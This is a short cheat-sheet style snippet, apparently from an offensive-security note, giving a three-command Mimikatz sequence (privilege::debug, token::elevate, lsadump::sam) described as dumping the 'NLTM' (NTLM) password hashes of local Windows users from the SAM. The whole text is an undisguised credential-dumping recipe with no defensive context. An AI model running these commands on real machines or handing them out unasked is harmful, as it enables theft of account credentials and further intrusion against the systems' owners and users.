This provides NLTM hashes for local users:

privilege::debug
token::elevate
lsadump::sam